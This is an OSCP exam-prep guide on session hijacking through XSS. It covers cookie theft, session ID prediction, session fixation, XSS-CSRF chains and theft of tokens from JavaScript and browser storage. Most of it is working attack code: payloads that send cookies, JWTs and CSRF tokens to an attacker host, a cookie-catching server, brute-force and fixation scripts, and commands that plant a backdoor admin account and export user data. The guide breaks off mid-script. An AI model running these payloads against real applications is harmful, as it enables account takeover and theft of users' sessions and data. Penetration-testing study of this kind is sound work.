Domain 3Exploit Dev & AV EvasionCORE

Session Hijacking via XSS

Comprehensive guide to session hijacking via XSS including cookie theft, session prediction, session fixation, token theft from JS variables, and mitigation strategies for OSCP exam preparation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#Session-Hijacking#XSS#Token-Theft#Authentication#Web-Security

Session Hijacking via XSS

Table of Contents

  1. Introduction
  2. Understanding Session Management
  3. Cookie Theft via XSS
  4. Session Prediction
  5. Session Fixation
  6. XSS + CSRF Combination
  7. Token Theft from JavaScript Variables
  8. Session Hijacking Step-by-Step
  9. Mitigation Strategies
  10. OSCP Lab Scenarios and Tips
  11. Quick Reference Cheat Sheet
  12. References

Introduction

Session hijacking is one of the most impactful client-side attacks because it allows an attacker to impersonate a legitimate user without needing their credentials. When combined with Cross-Site Scripting (XSS), session hijacking becomes a powerful weapon in the OSCP exam arsenal.

What is Session Hijacking?

Session hijacking is the process of taking over a user’s active session with a web application. Once hijacked, the attacker can perform any action the legitimate user can perform, including:

  • Accessing sensitive data
  • Performing administrative actions
  • Modifying account settings
  • Escalating privileges

Why is it Critical for OSCP?

  • High impact: Directly leads to account takeover
  • Common in labs: Many OSCP machines have vulnerable web apps with session management flaws
  • Chains with XSS: XSS is the most common entry point for session theft
  • Report-worthy: Demonstrates deep understanding of web security

Understanding Session Management

How Web Sessions Work

┌─────────────┐         ┌──────────────────┐         ┌─────────────┐
│   Browser    │         │   Web Server     │         │  Session DB │
│              │         │                  │         │             │
│  Cookie:     │────┐    │  Receive Cookie  │    ┌────│  Session    │
│  SID=abc123  │    │    │  Validate SID    │    │    │  Data       │
│              │    │    │                  │    │    │             │
└─────────────┘    │    └──────────────────┘    │    └─────────────┘
                   │                            │
                   │    ┌──────────────────┐    │
                   └───▶│  Response:       │◀───┘
                        │  User Data       │
                        │  Dashboard       │
                        └──────────────────┘

Session Identification Methods

Method Description Security Level Common In
Cookies Server sets a cookie with session ID Medium (vulnerable to XSS if not HttpOnly) Most applications
URL Parameters Session ID appended to URLs Low (logged in history, referrers) Legacy apps
Local Storage Token stored in browser localStorage Low (accessible via JS) SPAs, modern apps
Session Storage Token stored per-tab Low (accessible via JS) SPAs
JWT in Memory Token held in JS variables Medium (vulnerable to XSS) Modern SPAs
Set-Cookie: PHPSESSID=abc123def456; Path=/; Domain=.example.com; HttpOnly; Secure; SameSite=Lax
Attribute Purpose Security Impact
Name=Value Session identifier Must be unpredictable
Path URL path scope Limits cookie exposure
Domain Domain scope Prevents cross-domain theft
HttpOnly Blocks JS access Prevents XSS cookie theft
Secure HTTPS only Prevents MITM theft
SameSite CSRF protection Limits cross-site sending
Expires/Max-Age Lifetime Shorter = less exposure window

Technical Explanation

When a web application is vulnerable to XSS and the session cookie does not have the HttpOnly flag set, an attacker can use JavaScript to read the cookie value and exfiltrate it to their own server.

The Attack Flow

┌──────────┐     XSS Payload      ┌──────────────┐     Exfiltration    ┌──────────────┐
│ Victim   │ ──────────────────▶  │ Vulnerable   │ ─────────────────▶  │ Attacker     │
│ Browser  │  <script>document    │ Web App      │  GET /log?cookie=   │ Server       │
│          │  .cookie</script>    │              │  PHPSESSID=abc123   │              │
└──────────┘                      └──────────────┘                     └──────────────┘
// Simplest form - loads an image from attacker's server with cookie in URL
<script>
    new Image().src = "http://ATTACKER_IP:8080/steal?cookie=" + document.cookie;
</script>

Why this works:

  • Creates an invisible <img> element
  • The browser sends a GET request to the attacker’s server
  • The cookie value is appended as a URL parameter
  • The attacker’s server logs the request, capturing the cookie
<script>
    fetch("http://ATTACKER_IP:8080/steal", {
        method: "POST",
        body: document.cookie,
        mode: "no-cors"  // Bypass CORS restrictions
    });
</script>

Advantages over Image tag:

  • Can send larger payloads
  • POST method hides data from URL logs
  • no-cors mode bypasses cross-origin restrictions
<script>
    // URL-encode the cookie to handle special characters
    var encoded = encodeURIComponent(document.cookie);
    new Image().src = "http://ATTACKER_IP:8080/steal?c=" + encoded;
</script>
<script>
    // Extract only the session cookie by name
    function getCookie(name) {
        var match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
        return match ? match[2] : null;
    }

    var sessionCookie = getCookie('PHPSESSID');
    if (sessionCookie) {
        new Image().src = "http://ATTACKER_IP:8080/steal?session=" + sessionCookie;
    }
</script>

Method 5: Exfiltration via DNS (Advanced)

<script>
    // Useful when HTTP is blocked but DNS is allowed
    var cookie = document.cookie.substring(0, 50);
    var encoded = btoa(cookie); // Base64 encode
    new Image().src = "http://" + encoded + ".ATTACKER_DOMAIN.com/";
</script>

Setting Up the Attacker Server

Python Simple HTTP Server with Logging

#!/usr/bin/env python3
# save_as: cookie_catcher.py
import http.server
import socketserver
import urllib.parse
import sys
from datetime import datetime

PORT = 8080
LOG_FILE = "stolen_cookies.log"

class CookieCatcherHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Log the full request
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        log_entry = f"[{timestamp}] {self.client_address[0]} - {self.path}\n"

        with open(LOG_FILE, "a") as f:
            f.write(log_entry)

        # Print to console
        print(f"\n[{timestamp}] NEW COOKIE CAPTURED!")
        print(f"Source: {self.client_address[0]}")
        print(f"Data: {self.path}")
        print(f"{'='*50}")

        # Parse query parameters
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)

        for key, value in params.items():
            print(f"  {key}: {value[0]}")

        # Send a 1x1 transparent pixel as response
        self.send_response(200)
        self.send_header("Content-Type", "image/png")
        self.send_header("Content-Length", "43")
        self.end_headers()
        # 1x1 transparent PNG
        self.wfile.write(bytes.fromhex(
            "89504e470d0a1a0a0000000d494844520000000100000001"
            "08060000001f15c4890000000a49444154789c6260000000"
            "0200010910021a0000000049454e44ae426082"
        ))

    def do_POST(self):
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        content_length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_length).decode("utf-8", errors="ignore")

        log_entry = f"[{timestamp}] {self.client_address[0]} - POST: {body}\n"

        with open(LOG_FILE, "a") as f:
            f.write(log_entry)

        print(f"\n[{timestamp}] NEW POST DATA CAPTURED!")
        print(f"Source: {self.client_address[0]}")
        print(f"Data: {body}")
        print(f"{'='*50}")

        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

    def log_message(self, format, *args):
        # Suppress default logging
        pass

if __name__ == "__main__":
    print(f"Cookie catcher listening on port {PORT}")
    print(f"Press Ctrl+C to stop")
    print(f"Stolen cookies will be saved to {LOG_FILE}\n")

    with socketserver.TCPServer(("", PORT), CookieCatcherHandler) as httpd:
        httpd.serve_forever()

Netcat One-Liner (Quick and Dirty)

# Simple listener
nc -lvnp 8080

# With logging
nc -lvnp 8080 > captured_cookies.txt

Python One-Liner (No Setup)

# Start a simple server that logs to console
python3 -c "
import http.server, socketserver, urllib.parse
class H(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print(f'\nCAPTURED: {self.client_address[0]} -> {self.path}\n')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')
    def log_message(self, *a): pass
with socketserver.TCPServer(('', 8080), H) as s: s.serve_forever()
"
# Check if cookies have HttpOnly flag
curl -v http://target.com/login 2>&1 | grep -i "set-cookie"

# Look for missing HttpOnly flag
# VULNERABLE: Set-Cookie: PHPSESSID=abc123; Path=/
# SECURE:     Set-Cookie: PHPSESSID=abc123; Path=/; HttpOnly

Session Prediction

Technical Explanation

Session prediction exploits weak random number generators (RNG) used to create session IDs. If an attacker can predict the session ID generation algorithm, they can forge valid session tokens without needing to steal them.

Common Weaknesses

Weakness Description Example
Sequential IDs Session IDs increment predictably sess_0001, sess_0002
Timestamp-based IDs derived from current time sess_1609459200
Low entropy Small pool of possible values 4-digit PIN-style IDs
MD5 of predictable data Hash of username, IP, or timestamp md5(username + timestamp)
Weak PRNG Predictable pseudo-random sequence rand() in PHP without seeding

Attack Method 1: Sequential Session ID Brute Force

#!/usr/bin/env python3
# save_as: session_bruteforce.py
import requests
import threading
import queue
import sys

TARGET_URL = "http://target.com/dashboard"
SESSION_PREFIX = "sess_"
START_ID = 1000
END_ID = 9999
THREADS = 20
results = []
lock = threading.Lock()

def brute_force_session():
    while not id_queue.empty():
        try:
            seq_id = id_queue.get(timeout=1)
            session_id = f"{SESSION_PREFIX}{seq_id:04d}"

            cookies = {"PHPSESSID": session_id}
            resp = requests.get(TARGET_URL, cookies=cookies, timeout=5, allow_redirects=True)

            # Check for successful authentication
            if resp.status_code == 200 and "Welcome" in resp.text:
                with lock:
                    results.append(session_id)
                    print(f"[+] VALID SESSION FOUND: {session_id}")
                    print(f"    Response Length: {len(resp.text)}")
        except requests.exceptions.RequestException:
            pass
        finally:
            id_queue.task_done()

id_queue = queue.Queue()
for i in range(START_ID, END_ID + 1):
    id_queue.put(i)

print(f"[*] Brute-forcing sessions {START_ID}-{END_ID} with {THREADS} threads...")

threads = []
for _ in range(THREADS):
    t = threading.Thread(target=brute_force_session)
    t.daemon = True
    t.start()
    threads.append(t)

id_queue.join()
print(f"\n[*] Scan complete. Found {len(results)} valid session(s).")
for r in results:
    print(f"    - {r}")

Attack Method 2: Timestamp-Based Prediction

#!/usr/bin/env python3
# save_as: timestamp_session_predict.py
import requests
import hashlib
import time
from datetime import datetime, timedelta

TARGET_URL = "http://target.com/dashboard"

# Try to predict session based on timestamp
def predict_timestamp_session():
    # Get current time window
    now = int(time.time())

    # Try timestamps within a reasonable window (±5 minutes)
    for offset in range(-300, 301):  # 5 minutes in each direction
        timestamp = now + offset
        # Common patterns
        candidates = [
            f"sess_{timestamp}",
            f"session_{timestamp}",
            hashlib.md5(str(timestamp).encode()).hexdigest(),
            hashlib.sha256(str(timestamp).encode()).hexdigest()[:16],
        ]

        for session_id in candidates:
            cookies = {"PHPSESSID": session_id}
            try:
                resp = requests.get(TARGET_URL, cookies=cookies, timeout=3)
                if resp.status_code == 200 and len(resp.text) > 500:
                    print(f"[+] VALID SESSION: {session_id}")
                    print(f"    Timestamp: {datetime.fromtimestamp(timestamp)}")
                    return session_id
            except:
                pass

    print("[-] No valid session found in timestamp window")
    return None

predict_timestamp_session()

Attack Method 3: PHP rand() Prediction

#!/usr/bin/env python3
# save_as: php_rand_predict.py
# PHP's rand() with known seed is predictable

def php_rand(seed, min_val=0, max_val=2147483647):
    """Predict PHP's rand() output given a seed"""
    # PHP's default rand() uses a linear congruential generator
    # This is a simplified version
    state = seed
    for _ in range(10):  # Skip some iterations if needed
        state = (state * 1103515245 + 12345) & 0x7fffffff
    return min_val + (state % (max_val - min_val + 1))

# If we know or can guess the seed (often based on time)
import time
for seed_offset in range(-100, 101):
    seed = int(time.time()) + seed_offset
    predicted = php_rand(seed, 100000, 999999)
    print(f"Seed: {seed} -> Predicted Session: {predicted}")

Detection Methodology

# 1. Collect multiple session IDs
curl -c cookies1.txt http://target.com/login
curl -c cookies2.txt http://target.com/login
curl -c cookies3.txt http://target.com/login

# 2. Analyze the pattern
cat cookies1.txt cookies2.txt cookies3.txt | grep -i session

# 3. Check for sequential patterns
# If you see: sess_1001, sess_1002, sess_1003 -> VULNERABLE

# 4. Check length and character set
# Short IDs (< 16 chars) or limited charset = weak entropy

Session Fixation

Technical Explanation

Session fixation is an attack where the attacker sets the victim’s session ID (rather than stealing it). The attacker:

  1. Obtains a valid session ID from the application
  2. Entices the victim to use this session ID (via URL parameter, cookie injection, etc.)
  3. Waits for the victim to log in (which associates credentials with the known session)
  4. Uses the known session ID to access the victim’s authenticated session

The Attack Flow

Phase 1: Attacker gets a session
┌──────────┐    GET /            ┌──────────────┐
│ Attacker │ ──────────────────▶ │ Web App      │
│          │                     │ Set-Cookie:   │
│          │◀────────────────────│ SID=abc123    │
└──────────┘                     └──────────────┘

Phase 2: Attacker sends fixed session to victim
┌──────────┐    Email/Link       ┌──────────┐
│ Attacker │ ──────────────────▶ │ Victim   │
│          │  /login?SID=abc123  │          │
└──────────┘                     └──────────┘

Phase 3: Victim logs in with the fixed session
┌──────────┐    POST /login      ┌──────────────┐
│ Victim   │  user=admin         │ Web App      │
│ (SID=    │  pass=secret        │ Associate    │
│  abc123) │ ──────────────────▶ │ SID=abc123   │
│          │                     │ with admin   │
└──────────┘                     └──────────────┘

Phase 4: Attacker uses the fixed session
┌──────────┐    GET /admin       ┌──────────────┐
│ Attacker │  Cookie: SID=abc123 │ Web App      │
│          │ ──────────────────▶ │ Return admin │
│          │◀────────────────────│ dashboard    │
└──────────┘                     └──────────────┘

Attack Method 1: URL Parameter Fixation

<!-- Attacker sends this link to the victim -->
<a href="http://target.com/login?PHPSESSID=attacker_controlled_session_id">
    Click here to login
</a>

<!-- Or via redirect -->
<meta http-equiv="refresh" content="0;url=http://target.com/login?PHPSESSID=attacker_controlled_session_id">
// If XSS is available, set the cookie before victim logs in
<script>
    document.cookie = "PHPSESSID=attacker_known_id; Path=/; Domain=.target.com";
    window.location = "http://target.com/login";
</script>

Attack Method 3: Full Session Fixation Exploit Script

#!/usr/bin/env python3
# save_as: session_fixation.py
import requests
import sys

TARGET_LOGIN = "http://target.com/login"
TARGET_DASHBOARD = "http://target.com/dashboard"
FIXED_SESSION = "attacker_known_session_id"

# Step 1: Verify the fixed session is valid (unauthenticated)
print("[*] Step 1: Verifying fixed session...")
s = requests.Session()
s.cookies.set("PHPSESSID", FIXED_SESSION)

resp = s.get(TARGET_DASHBOARD)
print(f"    Status: {resp.status_code}")
print(f"    Before login - Contains 'Login': {'Login' in resp.text}")

# Step 2: Victim logs in with the fixed session
# (In real attack, victim does this by clicking attacker's link)
print("\n[*] Step 2: Simulating victim login with fixed session...")
login_data = {
    "username": "admin",
    "password": "victim_password"
}

resp = s.post(TARGET_LOGIN, data=login_data, allow_redirects=True)
print(f"    Login Status: {resp.status_code}")

# Step 3: Attacker uses the same session
print("\n[*] Step 3: Attacker accessing with fixed session...")
attacker_session = requests.Session()
attacker_session.cookies.set("PHPSESSID", FIXED_SESSION)

resp = attacker_session.get(TARGET_DASHBOARD)
print(f"    Status: {resp.status_code}")
print(f"    Contains 'Welcome': {'Welcome' in resp.text}")
print(f"    Contains 'Logout': {'Logout' in resp.text}")

if "Welcome" in resp.text or "Logout" in resp.text:
    print("\n[+] SESSION FIXATION SUCCESSFUL!")
    print(f"    Session ID: {FIXED_SESSION}")
    print(f"    Response Length: {len(resp.text)}")
else:
    print("\n[-] Session fixation failed (app may regenerate session on login)")

Detection Methodology

# 1. Check if app accepts session ID from URL
curl -c cookies.txt "http://target.com/login?PHPSESSID=test123"
cat cookies.txt | grep test123

# 2. Check if session regenerates after login
# First, get a session
curl -c before_login.txt http://target.com/login
BEFORE=$(grep PHPSESSID before_login.txt | awk '{print $NF}')

# Login
curl -b before_login.txt -c after_login.txt -d "user=admin&pass=test" http://target.com/login
AFTER=$(grep PHPSESSID after_login.txt | awk '{print $NF}')

# Compare
echo "Before: $BEFORE"
echo "After:  $AFTER"
# If BEFORE == AFTER, session fixation is possible

XSS + CSRF Combination

Technical Explanation

Combining XSS with CSRF creates a powerful attack chain:

  • XSS allows executing arbitrary JavaScript in the victim’s browser
  • CSRF forces the victim’s browser to make authenticated requests

Together, they allow the attacker to perform actions on behalf of the victim and capture the responses (which pure CSRF cannot do).

Why XSS + CSRF > CSRF Alone?

Capability Pure CSRF XSS + CSRF
Make authenticated requests Yes Yes
Read response data No Yes
Extract tokens from responses No Yes
Perform multi-step attacks Limited Full control
Bypass CSRF tokens No Yes (XSS can read them)

Attack Method 1: XSS to Extract CSRF Token, Then CSRF

// Step 1: Use XSS to extract the CSRF token from the page
<script>
    // Find CSRF token in a form
    var csrfToken = document.querySelector('input[name="_csrf"]').value;

    // Send to attacker
    new Image().src = "http://ATTACKER_IP:8080/token?csrf=" + csrfToken;
</script>

// Step 2: Attacker uses the token to perform CSRF
// (This can be done from the attacker's server)

Attack Method 2: XSS-Driven Automated CSRF

// Single XSS payload that performs the action directly
<script>
    // Extract CSRF token
    var csrfToken = document.querySelector('input[name="_csrf"]').value;

    // Perform the malicious action
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = '/change-email';
    form.style.display = 'none';

    var csrfInput = document.createElement('input');
    csrfInput.type = 'hidden';
    csrfInput.name = '_csrf';
    csrfInput.value = csrfToken;
    form.appendChild(csrfInput);

    var emailInput = document.createElement('input');
    emailInput.type = 'hidden';
    emailInput.name = 'email';
    emailInput.value = 'attacker@evil.com';
    form.appendChild(emailInput);

    document.body.appendChild(form);
    form.submit();
</script>

Attack Method 3: Full Account Takeover Chain

<script>
    // Phase 1: Steal session cookie
    var cookie = document.cookie;

    // Phase 2: Extract CSRF token
    var csrf = document.querySelector('input[name="_token"]')?.value || '';

    // Phase 3: Change password
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/api/change-password', true);
    xhr.withCredentials = true;
    xhr.setRequestHeader('Content-Type', 'application/json');
    xhr.setRequestHeader('X-CSRF-TOKEN', csrf);
    xhr.send(JSON.stringify({
        old_password: "guess",
        new_password: "attacker_controlled"
    }));

    // Phase 4: Exfiltrate everything
    new Image().src = "http://ATTACKER_IP:8080/steal?cookie=" +
        encodeURIComponent(cookie) + "&csrf=" + encodeURIComponent(csrf);
</script>

Detection Methodology

# 1. Check for CSRF token presence
curl http://target.com/settings | grep -i csrf

# 2. Check if token is in JavaScript-accessible location
# If token is in DOM, XSS can read it

# 3. Test if actions can be performed with stolen cookie + token
curl -b "PHPSESSID=stolen_session" \
     -H "X-CSRF-TOKEN: stolen_token" \
     -d "email=attacker@evil.com" \
     http://target.com/change-email

Token Theft from JavaScript Variables

Technical Explanation

Modern Single Page Applications (SPAs) often store authentication tokens in JavaScript variables instead of cookies. These tokens (JWT, Bearer tokens, API keys) are accessible via XSS and can be used to authenticate with the application’s API directly.

Common Token Storage Locations

Location Example Variable Names Accessibility via XSS
Global Variables token, authToken, accessToken, jwt, bearer Direct access
Window Object window.token, window.auth Direct access
LocalStorage localStorage.getItem('token') Direct access
SessionStorage sessionStorage.getItem('token') Direct access
React State __INITIAL_STATE__, window.__INITIAL_STATE__ Direct access
Next.js __NEXT_DATA__, window.__NEXT_DATA__ Direct access
Vue/Nuxt __NUXT__, window.__NUXT__ Direct access
Angular Various service properties May require traversal

Method 1: Scanning Page Source for Tokens

// Search common variable names in the global scope
<script>
    var tokenNames = [
        'token', 'authToken', 'accessToken', 'jwt', 'bearer',
        'apiKey', 'api_key', 'auth_token', 'access_token',
        'id_token', 'refreshToken', 'refresh_token',
        'sessionToken', 'session_token', 'csrfToken',
        'XSRF-TOKEN', 'xsrfToken'
    ];

    var found = {};

    // Check global window variables
    tokenNames.forEach(function(name) {
        if (window[name]) {
            found[name] = window[name];
        }
    });

    // Check localStorage
    try {
        for (var i = 0; i < localStorage.length; i++) {
            var key = localStorage.key(i);
            if (key.toLowerCase().match(/token|auth|session|key|jwt|bearer/i)) {
                found['localStorage:' + key] = localStorage.getItem(key);
            }
        }
    } catch(e) {}

    // Check sessionStorage
    try {
        for (var i = 0; i < sessionStorage.length; i++) {
            var key = sessionStorage.key(i);
            if (key.toLowerCase().match(/token|auth|session|key|jwt|bearer/i)) {
                found['sessionStorage:' + key] = sessionStorage.getItem(key);
            }
        }
    } catch(e) {}

    // Exfiltrate all found tokens
    var payload = JSON.stringify(found);
    new Image().src = "http://ATTACKER_IP:8080/tokens?data=" + encodeURIComponent(payload);
</script>

Method 2: SPA-Specific Token Extraction

<script>
    var tokens = {};

    // React / Next.js
    if (window.__INITIAL_STATE__) {
        tokens.react_initial_state = JSON.stringify(window.__INITIAL_STATE__);
    }
    if (window.__NEXT_DATA__) {
        tokens.next_data = JSON.stringify(window.__NEXT_DATA__);
    }

    // Vue / Nuxt
    if (window.__NUXT__) {
        tokens.nuxt_state = JSON.stringify(window.__NUXT__);
    }

    // Angular (common patterns)
    if (window.ng) {
        tokens.angular = JSON.stringify(window.ng);
    }

    // Ember
    if (window.Ember) {
        tokens.ember = "Detected";
    }

    // Generic: Look for JWT patterns in all global variables
    var jwtRegex = /^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/;
    for (var key in window) {
        if (typeof window[key] === 'string' && jwtRegex.test(window[key])) {
            tokens['possible_jwt:' + key] = window[key];
        }
    }

    // Exfiltrate
    new Image().src = "http://ATTACKER_IP:8080/spa-tokens?data=" +
        encodeURIComponent(JSON.stringify(tokens));
</script>

Method 3: Deep DOM Traversal for Hidden Tokens

<script>
    // Search for tokens in meta tags, data attributes, and hidden inputs
    var tokens = {};

    // Meta tags
    var metas = document.querySelectorAll('meta');
    metas.forEach(function(meta) {
        var name = meta.getAttribute('name') || meta.getAttribute('property') || '';
        var content = meta.getAttribute('content') || '';
        if (name.match(/token|auth|api|key|jwt|secret/i) ||
            content.match(/^[A-Za-z0-9-_]{20,}\.[A-Za-z0-9-_]{20,}/)) {
            tokens['meta:' + name] = content;
        }
    });

    // Data attributes on any element
    var allElements = document.querySelectorAll('[data-*]');
    allElements.forEach(function(el) {
        var attrs = el.getAttributeNames();
        attrs.forEach(function(attr) {
            if (attr.match(/token|auth|api|key|jwt|secret/i)) {
                tokens['data-attr:' + attr] = el.getAttribute(attr);
            }
        });
    });

    // Hidden inputs
    var hiddenInputs = document.querySelectorAll('input[type="hidden"]');
    hiddenInputs.forEach(function(input) {
        var name = input.name || input.id || '';
        var value = input.value || '';
        if (name.match(/token|auth|csrf|xsrf|api|key|jwt/i)) {
            tokens['hidden-input:' + name] = value;
        }
    });

    // Script tags with JSON data
    var scripts = document.querySelectorAll('script');
    scripts.forEach(function(script) {
        var text = script.textContent || '';
        // Look for JWT patterns
        var jwtMatches = text.match(/[A-Za-z0-9-_]{10,}\.[A-Za-z0-9-_]{10,}\.[A-Za-z0-9-_]*/g);
        if (jwtMatches) {
            tokens['script-jwt-found'] = jwtMatches;
        }
        // Look for API key patterns
        var apiKeyMatches = text.match(/['"](sk_|pk_|rk_|ak_)[A-Za-z0-9]{20,}['"]/g);
        if (apiKeyMatches) {
            tokens['script-api-keys'] = apiKeyMatches;
        }
    });

    new Image().src = "http://ATTACKER_IP:8080/deep-tokens?data=" +
        encodeURIComponent(JSON.stringify(tokens));
</script>

Using Stolen JWT Tokens

# Decode JWT to inspect claims (without verification)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." | cut -d. -f1 | base64 -d 2>/dev/null
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." | cut -d. -f2 | base64 -d 2>/dev/null

# Use stolen JWT for API access
curl -H "Authorization: Bearer STOLEN_JWT_TOKEN" http://target.com/api/user/profile

# Use stolen JWT to enumerate endpoints
curl -H "Authorization: Bearer STOLEN_JWT_TOKEN" http://target.com/api/admin/users
curl -H "Authorization: Bearer STOLEN_JWT_TOKEN" http://target.com/api/admin/settings

# JWT with none algorithm attack (if vulnerable)
# Change algorithm to "none" and remove signature
python3 -c "
import jwt, json
# Decode without verification
payload = jwt.decode('STOLEN_JWT', options={'verify_signature': False})
print(json.dumps(payload, indent=2))
"

JWT Token Structure

┌─────────────────────────────────────────────────────────────┐
│                    JWT Token Structure                       │
├─────────────────┬─────────────────┬─────────────────────────┤
│    Header       │    Payload      │      Signature          │
│  (Algorithm)    │  (Claims)       │   (HMAC/RSA)           │
├─────────────────┼─────────────────┼─────────────────────────┤
│ {               │ {               │ HMACSHA256(             │
│   "alg":        │   "sub":        │   base64Url(header) +   │
│   "HS256",      │   "user123",    │   "." +                 │
│   "typ":        │   "admin":      │   base64Url(payload)    │
│   "JWT"         │   true,         │   , key)                │
│ }               │   "exp":        │                         │
│                 │   1609459200    │                         │
│                 │ }               │                         │
└─────────────────┴─────────────────┴─────────────────────────┘

Session Hijacking Step-by-Step

Complete Attack Workflow

Phase 1: Reconnaissance

# Step 1: Identify the target application
nmap -sV -p 80,443,8080,8443 target.com

# Step 2: Enumerate cookies
curl -v http://target.com 2>&1 | grep -i "set-cookie"

# Step 3: Check cookie attributes
# Look for missing HttpOnly and Secure flags

# Step 4: Identify XSS vulnerabilities
# Use manual testing or tools like XSStrike
// XSS Payload - Inject into vulnerable parameter
<script>
    new Image().src = "http://ATTACKER_IP:8080/steal?cookie=" + document.cookie;
</script>

// URL-encoded version for GET parameters
%3Cscript%3Enew%20Image().src%3D%22http%3A%2F%2FATTACKER_IP%3A8080%2Fsteal%3Fcookie%3D%22%20%2B%20document.cookie%3B%3C%2Fscript%3E
# Start the cookie catcher server
python3 cookie_catcher.py

# Output example:
# [2026-09-01 14:32:15] 192.168.1.100 - /steal?cookie=PHPSESSID=abc123def456; username=admin; role=administrator
#   cookie: PHPSESSID=abc123def456; username=admin; role=administrator
# Method 1: Using curl with cookie
curl -b "PHPSESSID=abc123def456" http://target.com/dashboard

# Method 2: Using curl with cookie file
echo "PHPSESSID=abc123def456" > stolen_cookie.txt
curl -b stolen_cookie.txt http://target.com/dashboard

# Method 3: Using curl with full cookie string
curl -H "Cookie: PHPSESSID=abc123def456; username=admin; role=administrator" \
     http://target.com/admin

# Method 4: Using Python requests
python3 -c "
import requests
cookies = {'PHPSESSID': 'abc123def456'}
resp = requests.get('http://target.com/dashboard', cookies=cookies)
print(resp.status_code)
print(resp.text[:500])
"

# Method 5: Using wget
wget --header="Cookie: PHPSESSID=abc123def456" http://target.com/dashboard

Phase 5: Maintain the Hijacked Session

# Keep the session alive by periodically accessing the target
while true; do
    curl -b "PHPSESSID=abc123def456" -s http://target.com/ping > /dev/null
    echo "[*] Session kept alive at $(date)"
    sleep 300  # Every 5 minutes
done

# Automate with a Python script
python3 -c "
import requests, time
session = requests.Session()
session.cookies.set('PHPSESSID', 'abc123def456')

while True:
    try:
        resp = session.get('http://target.com/ping', timeout=10)
        print(f'[{time.strftime(\"%H:%M:%S\")}] Session alive - Status: {resp.status_code}')
    except Exception as e:
        print(f'[{time.strftime(\"%H:%M:%S\")}] Session may be dead: {e}')
        break
    time.sleep(300)
"

Phase 6: Perform Actions as the Victim

# Access sensitive pages
curl -b "PHPSESSID=abc123def456" http://target.com/admin/users
curl -b "PHPSESSID=abc123def456" http://target.com/admin/settings

# Perform actions
curl -b "PHPSESSID=abc123def456" \
     -d "action=create_user&username=backdoor&role=admin" \
     http://target.com/admin/users

# Download sensitive data
curl -b "PHPSESSID=abc123def456" \
     -o stolen_data.csv \
     http://target.com/admin/export/users

Complete Attack Script

#!/usr/bin/env python3
# save_as: session_hijack_complete.py
import requests
import sys
import json
from datetime import datetime

class SessionHijacker:
    def __init__(self, target_url, stolen_cookie):
        self.target = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.cookies.set("PHPSESSID", stolen_cookie)
        self.log_file = f"hijack_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"

    def log(self, message):
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        entry = f"[{timestamp}] {message}"
        print(entry)
        with open(self.log_file, "a") as f:
            f.write(entry + "\n")

    def verify_session(self):
        """Verify the stolen session is valid"""
        self.log("[*] Verifying stolen session...")
        try:
            resp = self.session.get(self.target, timeout=10)
            self.log(f"    Status: {resp.status_code}")
            self.log(f"    Response Length: {len(resp.text)}")

            # Check for authenticated content
            auth_indicators = ["Welcome", "Logout", "Dashboard", "Profile", "Account"]
            found = [ind for ind in auth_indicators if ind.lower() in resp.text.lower()]

            if found:
                self.log(f"    [+] Authenticated! Found: {', '.join(found)}")
                return True
            else:
                self.log("    [-] Session may be invalid or unauthenticated")
                return False
        except requests.exceptions.RequestException as e:
            self.log(f"    [-] Error: {e}")
            return False

    def enumerate_endpoints(self, endpoints=None):
        """Try common endpoints to find accessible resources"""
        if not endpoints:
            endpoints = [
                "/dashboard", "/admin", "/profile", "/settings",
                "/api/user", "/api/users", "/api/admin",
                "/account", "/users", "/admin/users",
                "/admin/settings", "/export", "/api/export"
            ]

        self.log("[*] Enumerating endpoints...")
        accessible = []

        for endpoint in endpoints:
            try:
                resp = self.session.get(f"{self.target}{endpoint}", timeout=5, allow_redirects=True)
                if resp.status_code == 200 and len(resp.text) > 100:
                    self.log(f"    [+] {endpoint} -> {resp.status_code} ({len(resp.text)} bytes)")
                    accessible.append((endpoint, resp.text))
                elif resp.status_code == 302:
                    self.log(f"    [~] {endpoint} -> {resp.status_code} (redirect)")
            except:
                pass

        return accessible

    def extract_user_info(self):
        """Try to extract user information from accessible pages"""
        self.log("[*] Extracting user information...")
        info = {}

        # Try common API endpoints
        api_endpoints = [
            "/api/user/profile",
            "/api/me",
            "/api/user",
            "/user/profile.json",
        ]

        for endpoint in api_endpoints:
            try:
                resp = self.session.get(f"{self.target}{endpoint}", timeout=5)
                if resp.status_code == 200:
                    try:
                        data = resp.json()
                        info[endpoint] = data
                        self.log(f"    [+] Got JSON from {endpoint}")
                    except json.JSONDecodeError:
                        info[endpoint] = resp.text[:500]
                        self.log(f"    [+] Got response from {endpoint}")
            except:
                pass

        return info

    def perform_actions(self, actions=None):
        """Perform actions as the hijacked user"""
        if not actions:
            actions = []

        self.log("[*] Performing actions...")
        results = []

        for action in actions:
            try:
                if action["method"] == "POST":
                    resp = self.session.post(
                        f"{self.target}{action['path']}",
                        data=action.get("data", {}),
                        json=action.get("json", {}),
                        timeout=10
                    )
                else:
                    resp = self.session.get(
                        f"{self.target}{action['path']}",
                        timeout=10
                    )

                self.log(f"    {action['method']} {action['path']} -> {resp.status_code}")
                results.append({
                    "action": action,
                    "status": resp.status_code,
                    "response_length": len(resp.text)
                })
            except Exception as e:
                self.log(f"    [-] Failed: {action['path']} - {e}")

        return results

    def full_attack(self):
        """Run the complete session hijacking workflow"""
        self.log("=" * 60)
        self.log("SESSION HIJACKING ATTACK STARTED")
        self.log("=" * 60)

